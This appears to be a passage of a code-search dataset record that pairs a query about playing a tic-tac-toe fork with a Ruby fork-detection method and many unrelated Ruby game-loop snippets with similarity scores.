end\nend",
"def winner\n puts \"██╗ ██╗██╗███╗ ██╗███╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██║ ██║██║████╗ ██║████╗ ██║██╔════╝██╔══██╗\"\n sleep(1)\n puts \"██║ █╗ ██║██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝\"\n sleep(1)\n puts \"██║███╗██║██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗\"\n sleep(1)\n puts \"╚███╔███╔╝██║██║ ╚████║██║ ╚████║███████╗██║ ██║\"\n sleep(1)\n puts \" ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n restart_game\nend",
"def start_game \n ask_player_for_move(@current_player)\n determine_winner\n end",
"def play_turn\n @board.place_mark(@current_player.get_move, @current_player.mark)\n switch_players!\n end",
"def play\n\n until self.over?\n self.turn\n end\n\n if self.won?\n self.board.display\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n self.board.display\n puts \"Cat's Game!\"\n end\n end",
"def handle_winner(p1,p2)\n winner = winner?(p1,p2)\n if winner == p1\n give_cards_to_winner(p1, p2)\n p1.take_own_hand\n elsif winner == p2\n give_cards_to_winner(p2, p1)\n p2.take_own_hand\n end\n end",
"def play\nuntil over? do\n turn\n end\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw?\nputs \"Cats Game!\"\nend\nend",
"def play\n until board.king_in_checkmate?(:white) || board.king_in_checkmate?(:black) || board.stalemate?\n display.render\n input = get_start\n @board.piece_in_hand = @board[input]\n make_move(input)\n @board.switch_players!\n end\n display.render\n if board.king_in_checkmate?(:white)\n puts \"White is in Checkmate\\nBlack wins!\"\n elsif board.king_in_checkmate?(:black)\n puts \"Black is in Checkmate\\nWhite wins!\"\n else\n puts \"Stalemate!\"\n end\n rescue BadInputError, BadMoveError\n @board.drop_piece\n retry\n end",
"def war\n \n until winner?(self.player1,self.player2)\n 4.times do \n player1.play\n player2.play\n end\n end\n\n handle_winner(self.player1,self.player2)\n\n end",
"def play_round\n system(\"clear\")\n @board.render\n puts\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n while action.downcase == \"e\" && !(self.valid_flip?(pos))\n self.display_unflag_message\n full_move = self.get_full_move\n pos = self.get_position(full_move)\n action = self.get_action(full_move)\n end\n action.downcase == \"e\" ? @board[pos].reveal : @board[pos].toggle_flag\n @board.reveal_bombs if @board.is_a_bomb?(pos) && @board[pos].revealed\n end",
"def play\n until game_over\n start_new_turn\n show_board\n make_move @current_player\n end\n show_board\n puts \"#{game_over} wins!\"\n end",
"def make_move(left,top)\n # get destination selected\n dest = get_clicked_box(left,top)\n # try to make the move on the board; @game.user_move returns false if move is not allowed\n if @game.user_move(@selected_piece, dest)\n # move the piece on the GUI boars\n move_piece(@selected_piece,dest)\n de_highlight(@selected_piece)\n deselect_piece\n # switch player turn after the move\n @game.switch_turn\n else\n # if move not allowed deselect and de highlight the piece\n de_highlight(@selected_piece)\n deselect_piece\n end\nend",
"def play\n\n @board.render(clear=true)\n until @board.won? \n\n # should call reveal two time\n guess_1 = @board.reveal # gonna get position guess from the user and return the value\n @board.render(clear=true)\n guess_2 = @board.reveal # gonna get position guess from the user and return the value\n @board.render(clear=true)\n \n if guess_1 == guess_2\n puts \"It's a match!\" \n else\n # reset the board - set all card to face_up == false\n puts \"Try Again!\"\n @board.reset \n end\n sleep 3\n \n @board.render(clear=true)\n end\n end",
"def play\n\n until over?\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n\n end",
"def play\n 2.times {deal}\n blind_score\n if player_hand.collect{|x| x.value}.inject(:+) == 21\n bjwin\n elsif computer_hand.collect{|x| x.value}.inject(:+) == 21\n bjlose\n else\n action\n end\n end",
"def play_out\n begin\n make_move(choose_move) until @minefield.clear?\n DISPLAY.call 'Victory!'\n rescue TrippedMineError\n DISPLAY.call 'Boom!'\n return false\n end\n true\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n else draw?\n puts \"Cat's Game!\"\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n\n if won?(board)\n congratulate(winner(board))\n elsif draw?(board)\n draw_message\n end\n\nend",
"def player_turn\n hit_loop(@player)\n end",
"def play\n @possible_moves.each do |move|\n new_board = @board | move\n if (@@position[new_board] || Tactics.new(new_board, @possible_moves).play) == LOSS then\n return @@position[@board] = WIN \n end\n end\n @@position[@board] = LOSS\n end",
"def play\n\t\tboard = Board.new # cree une instance de la class board\n\t\tfor i in 1..9 # fait une boucle qui vas de 1 a 9, quand on arrive a 9 ca veut dire que toutes les cases du tableau on ete remplis. \n\t\t\tboard.display_stat(@player_one.return_name, @player_two.return_name, @player_one.return_number_of_win, @player_two.return_number_of_win, @player_two.return_number_of_egality) # on appel la methode display stats qui vas servire a affichier les statistiques, nombre de parties, nom des joueurs, leur nombre de victoires...\n\t\t\tif @who_play == 1 # on cree une condition qui vas servire a afficher le nom du joueur qui doit jouer ce tours.\n\t\t\t\tputs \"A toi de jouer #{@player_one.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\telse\n\t\t\t\tputs \"A toi de jouer #{@player_two.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\tend\n\t\t\tboard.display_board(@board_case) # on affiche le plateau du jeux\n\t\t\tselect_board_case # on appel la methode qui demande a l'utilisateur de choisire la case sur laquel il vas jouer\n\t\t\tif is_win == true # on fait une condition qui appel la methode is_win, cette methode verifi si il y a un cas de victoire\n\t\t\t\tboard.display_board(@board_case) # on affiche le plateau une derniere fois pour montrer la derniere modification\n\t\t\t\tif @who_play == 1 # on fait une condition qui verifie qui a gagner\n\t\t\t\t\tputs \"le joueur #{@player_one.return_name} a gagner cette partie!\" # si c'est le joueur 1 qui a gagner on dit qu'il a gagner, on affiche son nom\n\t\t\t\t\t@player_one.increments_number_of_win\t# on incremente du nombre de victoire \n\t\t\t\telse\n\t\t\t\t\tputs \"le joueur #{@player_two.return_name} a gagner cette partie!\"\n\t\t\t\t\t@player_two.increments_number_of_win\n\t\t\t\tend\n\t\t\t\tbreak # On quitte la boucle car il y a eu une victoire\n\t\t\tend\n\t\t\t@who_play == 1 ? @who_play = 2 : @who_play = 1 # cette ligne sert a faire que c'est a l'autre joueur de jouer (c'est une condition de type ternaire)\n\t\tend\n\t\tif is_win == false # si on sort de la boucle et qu'il n'y a aucune victoire alor c'est un match nul\n\t\t\t@player_one.increments_number_of_egality # on incremente la variable qui compte le nombres de matchs nuls\n\t\t\t@player_two.increments_number_of_egality\n\t\t\tputs \"MATCH NULLLLLLL\".colorize(:red) # on affiche que c'est un match nul\n\t\tend\n\tend",
"def win?\n if @player1.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player2.name} wins!\"\n sleep(1)\n elsif @player2.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player1.name} wins!\"\n sleep(1)\n else\n turn\n end\n end",
"def win?\n while true\n @board.render(false)\n @player.get_input\n move_valid?\n if @board.board == @board.winningboard\n render(true)\n puts \"Congratulations!\"\n exit\n end\n end\n end",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def run\n play_round until game_over?\n puts \"#{winner} wins!\"\n end",
"def play\n while !over?\n \t turn\n end\n if won?\n \t puts \"Congratulations \"+ winner() +\"!\"\n else\n \t puts \"Cat's Game!\"\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\n if winner(board)\n winning_player = winner(board)\n puts \"Congratulations #{winning_player}!\"\n elsif draw?(board)\n puts \"Cat's Game!\"\n end\nend",
"def play\n outcome = ''\n [1, 2].each {|ix| _select_players(ix)}\n c_player, o_player = _init_players\n o_player.set_other!(c_player) if o_player.is_IA_S?\n c_player.set_other!(o_player) if c_player.is_IA_S?\n #\n move_already_played = []\n #\n loop do\n STDOUT.print(\"#{@board.to_s}\\n#==> #{c_player.name}/#{c_player.type}'s TURN:\\n\")\n loop do\n m, sym = _get_move_from(c_player, move_already_played) # current player do his move\n v = @board.set_cell(m, sym.to_s)\n if m == -1 || v == sym # if sym not valid symbol, set_cell(m, sym != sym\n move_already_played << m.to_i\n break\n end\n STDERR.print \"! cell[#{m}] already set, try something else - v was: #{v.inspect} // #{v.class}\\n\"\n end\n move_already_played.sort!\n outcome = @board.game_over?\n break if outcome == :draw || outcome == :winner\n c_player, o_player = _switch_players(c_player, o_player)\n end\n _conclusion(outcome, c_player)\n end",
"def play\n display_welcome_message\n loop do \n human.choose #.choose is an instance method on the Player class, since human is an object of the Player class\n computer.choose\n display_winner\n break unless play_again? #could put play again loop here, but easier to not have double loop here\n end \n display_goodbye_message\n end",
"def play_match()\n\t\t#start a loop \n\t\tgame_end = false\n\t\twhile not game_end\n\t\t\tchar = get_player()\n\t\t\t#play a round\n\t\t\tself.play_round(char)\n\t\t\tself.player_turn += 1\n\t\t\t#check for win condition\n\t\t\tif self.board.line_complete?(char)\n\t\t\t\tif char == \"X\"\n\t\t\t\t\tputs \"Player 1 won!\"\n\t\t\t\t\tself.p1_rounds += 1\n\t\t\t\telse\n\t\t\t\t\tputs \"Player 2 won!\"\n\t\t\t\t\tself.p2_rounds += 1\n\t\t\t\tend\n\t\t\t\tputs self.to_s()\n\t\t\t\tgame_end = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t\t# check for stalemate\n\t\t\tgame_end = true if board.stalemate?()\n\t\tend\t\n\tend",
"def turn\n victory = false\n while victory == false do\n player_place\n @board.show_board\n end\n end",
"def play\n until @board.winner?(:X) || @board.winner?(:O)\n p \"#{@current_player.mark}'s turn\"\n @board.print\n self.play_turn\n end\n\n @board.print\n self.switch_players!\n p \"#{@current_player.mark} has won!\"\n end",
"def winGame\n @victory = true\n if @level == 2\n @win = true\n end\n end",
"def collide_obstacles(block, arrow, target, flag)\r\n # if arrow.y>(block.y) and arrow.y<(target.y+40) and (arrow.x+40)>(block.x) and (arrow.x+40)<(block.x+50)\r\n if Gosu.distance(arrow.x, arrow.y, block.x, block.y) <30\r\n target.score-=1\r\n arrow.count-=1\r\n target.ohno.play\r\n sleep(1)\r\n arrow.x=180\r\n arrow.y=320\r\n arrow.end=true\r\n flag=0\r\n \r\n return flag\r\n end\r\n\r\n if (arrow.x+20)>(block.x+40)\r\n flag=1\r\n return flag\r\n end\r\n \r\n end",
"def play\n turn until over?\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def play\n # Game play asks for players input on a turn of the game\n # Game play checks if the game is over after every turn\n # Game play plays the first turn of the game\n # Game play plays the first few turns of the game\n # Game play checks if the game is won after every turn\n # Game play checks if the game is a draw after every turn\n while !over?\n turn\n end\n # Game play stops playing if someone has won\n # Game play congratulates the winner X\n # Game play congratulates the winner O\n if won?\n puts \"Congratulations #{winner}!\"\n # Game play stops playing in a draw\n # Game play prints \"Cat's Game!\" on a draw\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def computer_moves(winnable, ptoken, ctoken, spaces, board)\n skip_rule = \"\"\n if winnable == 'y'\n skip_rule = [0, 1, 2, 3, 5].sample # randomly chooses a rule to \"forget\"\n end\n system(\"cls\")\n puts \"Computer's move.\"\n # Test each set of conditions; until a move is found\n move = false\n\n # Win: If you have two in a row, play the third to get three in a row.\n # puts \"Trying 1\"\n move, length = are_there_two_computer_tokens_in_a_row(ctoken, spaces, board) unless skip_rule == 0\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Block: If the opponent has two in a row, play the third to block them.\n # puts \"Trying 2\"\n move, length = are_there_two_computer_tokens_in_a_row(ptoken, spaces, board) unless skip_rule == 1\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Fork: Create an opportunity where you can win in two ways.\n # puts \"Trying 3\"\n move = discover_fork(ctoken, spaces, board) unless skip_rule == 2\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Block Opponent's Fork: If there is a configuration where the opponent\n # can fork, block that fork.\n # It appears I can simply use discover_fork again, changing only ctoken\n # to ptoken!\n # puts \"Trying 4\"\n move = discover_fork(ptoken, spaces, board) unless skip_rule == 3\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Center: Play the center.\n # puts \"Trying 5\"\n # Note, no \"unless skip_rule == 4\" here. This is because if it's the opening\n # move, and this rule is skipped, then the computer won't play anything.\n if spaces[4] == \" \" # i.e., if the center is open, and you've made it this far\n spaces, board = add_move_to_spaces(4, ctoken, spaces, board)\n return spaces, board\n end\n\n # Opposite Corner: If the opponent is in the corner, play the opposite corner.\n # puts \"Trying 6\"\n if move\n move = try_opposite_corner(ptoken, spaces) unless skip_rule == 5\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Empty Corner: Play an empty corner.\n # puts \"Trying 7\"\n move = try_empty_corner(spaces)\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Empty Side: Play an empty side.\n # puts \"Trying 8\"\n move = play_empty_side(spaces)\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # If move is still false, game is over!\n\n return spaces, board\nend",
"def play\n until self.over? do\n turn\n end\n\n if self.won?\n puts \"Congratulations #{self.winner}!\"\n elsif self.draw?\n puts \"Cat's Game!\"\n end\n end",
"def choose_move\n choose_move_when_in_check\n #update to be player specific\n choose_piece_to_move\n which_piece_selected\n choose_where_to_move\n end",
"def play\n until over?\n turn\n end\n if winner\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def play\n until over? == true\n turn\n end\n if self.winner == nil\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{self.winner}!\"\n #Congradulate the winner of the game, using the person with the most X or O combinations\n #Code in a play again option, so players don't have to re enter name\n board.display\n end\n end",
"def play\n while !over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cat's Game!\"\n end\n end",
"def play\r\n turn until over?\r\n \r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n \r\n else\r\n puts \"Cat's Game!\"\r\n end\r\nend",
"def play_turn\n move = @current_player.get_move\n switch_players!\n @board.place_mark(move, :X)\n end",
"def start_game\n loop do\n display_board\n turn\n position_available ? player_positions : turn\n (display_board; p \"#{@player} wins!\"; break) if win_game\n (display_board; p \"Draw\"; break) if draw\n next_player\n end\n end",
"def play\n loop do\n prep_game\n loop do\n current_player_moves\n break if board.someone_won? || board.full?\n board.clear_screen_and_display_board(players) if human_turn?\n end\n display_result\n break unless play_again?\n reset\n end\n display_goodbye_message\n end",
"def play\n state = 0\n\n\n while true\n if state == 0\n puts \"C'est à #{@player0.name} de jouer (jeton #{@player0.token})\"\n puts \"Quelle case veux tu cocher #{@player0.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n @played_cases << n\n @view.play(\"player0\",n)\n\n if @view.iswin?(@player0.token)\n puts \"#{@player0.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player0.name}! \"\n puts \" \"\n @player0.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n else\n puts \"C'est à #{@player1.name} de jouer (jeton #{@player1.token})\"\n puts \"Quelle case veux tu cocher #{@player1.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n\n @played_cases << n\n @view.play(\"player1\",n)\n\n if @view.iswin?(@player1.token)\n puts \"#{@player1.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player1.name}! \"\n puts \" \"\n @player1.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n end\n end\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{winner}!\"\n elsif draw?\n puts \"Cats Game!\"\n end\nend",
"def play\n until over?\n turn\n end\n\n if won?\n puts \"Congratulations #{winner}!\"\n\n else draw?\n puts \"Cat's Game!\"\n\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n #value=current_player(board)\n end\n if winner(board)==\"X\"\n puts \"Congratulations X!\"\n elsif winner(board)==\"O\"\n puts \"Congratulations O!\"\n else\n puts \"Cats Game!\"\n end\nend",
"def play\n winner = nil\n begin\n until winner\n players.each do |player|\n player.take_turn(self) do |x, y|\n update(x, y, player.id)\n display\n winning_id = check_winner\n if winning_id\n winner = winning_id\n raise WinnerFound\n end\n raise GameTie if board.flatten.none? { |element| element.nil? || element.zero? }\n end\n end\n end\n rescue WinnerFound\n puts \"The winner is #{players[winner - 1]}\"\n rescue GameTie\n puts 'The game is a tie'\n end\n end",
"def play\n start = Time.now\n until @board.won?\n @player ? round_player : round_ai\n @attempts += 1\n sleep(2)\n system(\"cls\")\n @board.render\n end\n finish = Time.now\n time_to_finish = finish - start\n declare_win(time_to_finish)\n end",
"def play_a_game(player1, player2)\n grid = TicTacToe::Grid.new\n\n while grid.gamestate == :ongoing\n player1.make_move(grid)\n player2.make_move(grid) unless grid.gamestate != :ongoing\n end\n\n player1.end_of_game(grid, :x) if player1.respond_to?(:end_of_game)\n player2.end_of_game(grid, :o) if player2.respond_to?(:end_of_game)\n\n return grid.gamestate\nend",
"def play\n #turns = 0\n until over?\n turn\n end\nend",
"def play\n while !over?\n turn\n board.display\n end\n if won?\n puts \"Congratulations #{winner}!\" \n elsif draw?\n puts \"Cats Game!\" \n end\n end",
"def play\n until over? do\n turn;\n end\n\n if won?\n puts \"Congratulations #{winner}!\";\n replay\n elsif draw?\n puts \"Cat's Game!\";\n replay\n end\n end",
"def play(board)\n until over?(board)\n turn(board)\n end\nif won?(board)\n puts \"Congratulations #{winner(board)}!\"\nelsif draw?(board)\n puts 'Cats Game!'\nend\nend",
"def play\n\t\n\t\tuntil over?\n\t\tturn\n\t\tend\n\t\t\n\t\tif won? \n\t\t\twinner\n\t\telsif draw? \n\t\t\tputs \"The game was a Draw!\"\n\t\telse \n\t\t\tputs \"Unexpected Error Occured\" \n\t\tend\n\tend",
"def play\n until over?\n turn\n end\n\n if draw?\n puts \"Cat's Game!\"\n elsif WIN_COMBINATIONS.include?(won?)\n puts \"Congratulations #{winner}!\"\n end\nend",
"def play(board)\n until over?(board) #unless it's over\n turn(board) #roll\n end\n\n if won?(board) #if someone won\n player = winner(board)\n puts \"Congratulations #{player}!\" #tell them\n elsif draw?(board)\n puts \"Cats Game!\"\n elsif !over?(board)\n play(board)\n end\nend",
"def play\n while !over?()\n turn()\n end\n\n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cat's Game!\"\n end\n end",
"def play()\n c=1\n p=\"X\"\n while !over?()\n turn()\n end\n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cats Game!\"\n else\n end\nend",
"def play\r\n while !over?\r\n turn\r\n end\r\n if won?\r\n puts \"Congratulations #{winner}!\"\r\n elsif draw?\r\n puts \"Cats Game!\"\r\n end\r\n end",
"def start_game\n @player_1_lives = 3\n @player_2_lives = 3\n while @player_1_lives > 0 && @player_2_lives > 0\n new_turn(1)\n break if @player_1_lives == 0\n new_turn(2)\n end\nend",
"def win?\n sleep(3)\n check_points\n end",
"def play\n until over?|| draw?\n @board = turn\n end\n unless winner.nil?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cat's Game!\"\n end\n end",
"def play\n while !over?\n turn\n end\n won? ? (puts \"Congratulations #{@winner}!\") : (puts \"Cat's Game!\")\n\n end",
"def play\n while !over?\n turn\n end\n if won?\n puts \"Congratulations #{ winner }!\"\n elsif draw?\n puts \"Cat's Game!\"\n else\n puts \"Game over\"\n end\n end",
"def move_obstacles(block)\r\n if block.y==500 || block.y==20\r\n block.vel_y*=-1\r\n end\r\n\r\n block.y+=block.vel_y\r\n\r\n end",
"def speel_game\n begin_spel\n puts \"Veel succes!\"\n\n while true\n laat_bord_zien\n set_move get_valid_move\n @zetten += 1\n break if game_over?\n switch_player\n end\nend"
] |
[
"0.80987406",
"0.79132843",
"0.77001",
"0.7402945",
"0.7401885",
"0.7269323",
"0.7133052",
"0.7080874",
"0.7063334",
"0.70426524",
"0.69291145",
"0.6916656",
"0.6846598",
"0.68315554",
"0.67710876",
"0.6765523",
"0.6734914",
"0.6700109",
"0.66842717",
"0.66683465",
"0.66683465",
"0.666302",
"0.6654944",
"0.66493297",
"0.6642916",
"0.6639152",
"0.6616323",
"0.6592221",
"0.65845096",
"0.6583321",
"0.65670854",
"0.6563046",
"0.6559236",
"0.65567285",
"0.6529905",
"0.65225065",
"0.6520685",
"0.65201616",
"0.6509253",
"0.6499193",
"0.64775276",
"0.6472714",
"0.64725614",
"0.6470704",
"0.6469885",
"0.64660025",
"0.64651924",
"0.64600295",
"0.6451124",
"0.6439618",
"0.64386386",
"0.6437147",
"0.6434587",
"0.6431467",
"0.64182377",
"0.64176923",
"0.6390645",
"0.6388826",
"0.6386883",
"0.6385262",
"0.6378192",
"0.63775206",
"0.6372768",
"0.6358874",
"0.63541526",
"0.63499635",
"0.634899",
"0.6346998",
"0.63374937",
"0.63310444",
"0.6330382",
"0.632836",
"0.6327046",
"0.63235646",
"0.63230306",
"0.6322917",
"0.6319614",
"0.63182676",
"0.63178205",
"0.6317448",
"0.6311281",
"0.6309617",
"0.63062614",
"0.6305409",
"0.630472",
"0.6303967",
"0.6302383",
"0.6301142",
"0.629758",
"0.6282772",
"0.628255",
"0.62763435",
"0.6275917",
"0.6275496",
"0.627372",
"0.62696296",
"0.6267118",
"0.62627447",
"0.62574536",
"0.6256017",
"0.62550527"
] |
0.0
|
-1
|
3. fork : if player can create 2 win threats, play fork
|
def fork(board, sym = @symbol)
fake_board = board
(0..2).each do |i|
row = [fake_board[i * 3], fake_board[(i * 3) + 1], fake_board[(i * 3) + 2]]
if only_one_mark?(sym, row)
# delete mark from board so that it doesn't get counted again in columns
k = row.find_index(sym.to_s)
del = board_pos(i, k)
(0..2).each do |j|
column = [fake_board[j], fake_board[j + 3], fake_board[j + 6]]
if only_one_mark?(sym, column)
move = board_pos(i, j)
return move if board[move] == " " && move != del
end
end
end
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def win?\n if @player1.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player2.name} wins!\"\n sleep(1)\n elsif @player2.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player1.name} wins!\"\n sleep(1)\n else\n turn\n end\n end",
"def winner\n puts \"██╗ ██╗██╗███╗ ██╗███╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██║ ██║██║████╗ ██║████╗ ██║██╔════╝██╔══██╗\"\n sleep(1)\n puts \"██║ █╗ ██║██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝\"\n sleep(1)\n puts \"██║███╗██║██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗\"\n sleep(1)\n puts \"╚███╔███╔╝██║██║ ╚████║██║ ╚████║███████╗██║ ██║\"\n sleep(1)\n puts \" ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n restart_game\nend",
"def win_actions\n @i.cls\n @i.show_balance(@user)\n @i.show_cards(@open, @user, @croupier)\n @i.winner_msg(@user, @croupier, @winner) if @winner == @user || @winner == @croupier\n @i.winner_msg(@user, @croupier, @draw) if @winner == @draw\n\n # balance\n @winner.balance += @bank if @winner == @user || @winner == @croupier\n if @winner == @draw\n @user.balance += 10\n @croupier.balance += 10\n end\n # play again\n if check_end\n @i.cls\n @winner = nil\n @bank = 0\n @open = false\n @loser = nil\n # start new game\n else\n # exit from the program\n @again = false\n end\n end",
"def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end",
"def play()\n c=1\n p=\"X\"\n while !over?()\n turn()\n end\n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cats Game!\"\n else\n end\nend",
"def play\n until over? == true\n turn\n end\n if self.winner == nil\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{self.winner}!\"\n #Congradulate the winner of the game, using the person with the most X or O combinations\n #Code in a play again option, so players don't have to re enter name\n board.display\n end\n end",
"def play\n until over?\n turn\n end\n\n if draw?\n puts \"Cat's Game!\"\n elsif WIN_COMBINATIONS.include?(won?)\n puts \"Congratulations #{winner}!\"\n end\nend",
"def play\n state = 0\n\n\n while true\n if state == 0\n puts \"C'est à #{@player0.name} de jouer (jeton #{@player0.token})\"\n puts \"Quelle case veux tu cocher #{@player0.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n @played_cases << n\n @view.play(\"player0\",n)\n\n if @view.iswin?(@player0.token)\n puts \"#{@player0.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player0.name}! \"\n puts \" \"\n @player0.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n else\n puts \"C'est à #{@player1.name} de jouer (jeton #{@player1.token})\"\n puts \"Quelle case veux tu cocher #{@player1.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n\n @played_cases << n\n @view.play(\"player1\",n)\n\n if @view.iswin?(@player1.token)\n puts \"#{@player1.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player1.name}! \"\n puts \" \"\n @player1.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n end\n end\n end",
"def fork_check(wins, player, opponent)\n block_fork = find_fork(wins, opponent, player)\n get_fork = find_fork(wins, player, opponent)\n if get_fork.size > 0 # if possible to create fork, do it\n move = get_fork.sample\n elsif block_fork.size > 1 # if opponent can create multiple forks, force block\n move = get_adj(wins, player, opponent)\n elsif block_fork.size == 1 # otherwise if opponent can create fork, block it\n move = block_fork[0]\n else\n get_cen(player, opponent) # otherwise see if center is available\n end\n end",
"def play\n\t\tboard = Board.new # cree une instance de la class board\n\t\tfor i in 1..9 # fait une boucle qui vas de 1 a 9, quand on arrive a 9 ca veut dire que toutes les cases du tableau on ete remplis. \n\t\t\tboard.display_stat(@player_one.return_name, @player_two.return_name, @player_one.return_number_of_win, @player_two.return_number_of_win, @player_two.return_number_of_egality) # on appel la methode display stats qui vas servire a affichier les statistiques, nombre de parties, nom des joueurs, leur nombre de victoires...\n\t\t\tif @who_play == 1 # on cree une condition qui vas servire a afficher le nom du joueur qui doit jouer ce tours.\n\t\t\t\tputs \"A toi de jouer #{@player_one.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\telse\n\t\t\t\tputs \"A toi de jouer #{@player_two.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\tend\n\t\t\tboard.display_board(@board_case) # on affiche le plateau du jeux\n\t\t\tselect_board_case # on appel la methode qui demande a l'utilisateur de choisire la case sur laquel il vas jouer\n\t\t\tif is_win == true # on fait une condition qui appel la methode is_win, cette methode verifi si il y a un cas de victoire\n\t\t\t\tboard.display_board(@board_case) # on affiche le plateau une derniere fois pour montrer la derniere modification\n\t\t\t\tif @who_play == 1 # on fait une condition qui verifie qui a gagner\n\t\t\t\t\tputs \"le joueur #{@player_one.return_name} a gagner cette partie!\" # si c'est le joueur 1 qui a gagner on dit qu'il a gagner, on affiche son nom\n\t\t\t\t\t@player_one.increments_number_of_win\t# on incremente du nombre de victoire \n\t\t\t\telse\n\t\t\t\t\tputs \"le joueur #{@player_two.return_name} a gagner cette partie!\"\n\t\t\t\t\t@player_two.increments_number_of_win\n\t\t\t\tend\n\t\t\t\tbreak # On quitte la boucle car il y a eu une victoire\n\t\t\tend\n\t\t\t@who_play == 1 ? @who_play = 2 : @who_play = 1 # cette ligne sert a faire que c'est a l'autre joueur de jouer (c'est une condition de type ternaire)\n\t\tend\n\t\tif is_win == false # si on sort de la boucle et qu'il n'y a aucune victoire alor c'est un match nul\n\t\t\t@player_one.increments_number_of_egality # on incremente la variable qui compte le nombres de matchs nuls\n\t\t\t@player_two.increments_number_of_egality\n\t\t\tputs \"MATCH NULLLLLLL\".colorize(:red) # on affiche que c'est un match nul\n\t\tend\n\tend",
"def winGame\n @victory = true\n if @level == 2\n @win = true\n end\n end",
"def play\n turn until over?\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def player_win\n @player.won_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end",
"def play\n #self.set_players # Only uncomment one of these two lines.\n self.set_computer_players # Uncomment this line to have two computer players\n until @board.winner?\n self.turn\n self.change_current_player\n end\n winner = (@current_player == @player1) ? @player2 : @player1\n puts \" #{winner.color.to_s.upcase} is the winner!!!!\"\n puts \"Thanks for playing.\"\n end",
